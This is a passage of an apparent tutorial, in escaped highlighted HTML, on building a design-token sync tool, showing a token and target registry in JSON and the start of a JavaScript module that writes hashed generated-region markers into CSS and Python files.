&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;colors&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;paper&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#F5F1E8&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;ink&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#1A1A1A&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;#FF6B35&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;fonts&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;    &quot;display&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;Inter, system-ui, sans-serif&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then declare the consumers. A target is one region, in one file, in one repo. This registry is what makes a file the tool’s business; anything not listed here is invisible to the gate, which is the whole failure mode you’re closing.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  &quot;targets&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site-css&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;site/brand.css&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;region&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;vars&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;syntax&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;css&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;emitter&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;css-vars&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;params&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;selector&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;:root&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;alias&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;accent&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;sig&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; } },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;init&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;replaceFrom&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;^:root &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{$&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;replaceTo&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;^&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}$&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;report-py&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;path&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;report/brand.py&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;region&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;vars&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;syntax&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;python&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;emitter&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;python-dict&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;params&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;THEME&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;      &quot;init&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: { &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;replaceFrom&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;^THEME = &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;{$&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&quot;replaceTo&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;^&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}$&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  ]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;alias&lt;/code&gt; map matters more than it looks. Consumers will already have their own names for a value, and forcing every repo to rename its variables on adoption day is how a migration stalls. Let the registry translate.&lt;/p&gt;
&lt;h2&gt;Build the region protocol&lt;/h2&gt;
&lt;p&gt;Save this as &lt;code&gt;region.mjs&lt;/code&gt;. It knows four things: how to write a marker in a given comment syntax, how to find a region, how to replace one, and how to create one for the first time.&lt;/p&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; { createHash } &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;node:crypto&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// One comment syntax per file type you need to write into.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SYNTAXES &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  css: { prefix: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;/* &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, suffix: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos; */&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;  python: { prefix: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;# &apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, suffix: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; BANNER &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;GENERATED, do not edit&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; class&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; Error {}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; syntaxOf&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (name) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; SYNTAXES[name];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;throw&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; RegionError&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`unknown syntax &quot;${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}&quot;`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;};&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; wrap&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s, text) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; `${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;prefix&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;text&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;s&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;suffix&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;// The inner text of a comment line, or null if this line is not one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; unwrap&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s, line) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; line.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;startsWith&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s.prefix)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (s.suffix &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x26;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;t.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;endsWith&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s.suffix)) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; null;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; t.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(s.prefix.length, t.length &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; s.suffix.length);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; function&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; bodyHash&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(body) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; normalized &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; body.&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\r\n/&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;g&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;replace&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;/\s+$/&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; createHash&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;sha256&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;update&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(normalized, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;utf8&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;digest&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;hex&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;slice&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;12&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; startMarker&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (syntax, region, version, hash) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;  wrap&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;syntaxOf&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(syntax), &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;`&gt;&gt;&gt; tokens:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;region&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} v${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} sha256:${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;hash&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;} ${&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;BANNER&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; const&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; endMarker&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; (syntax, region) &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&gt;&lt;/span&gt;&lt;/span&gt;
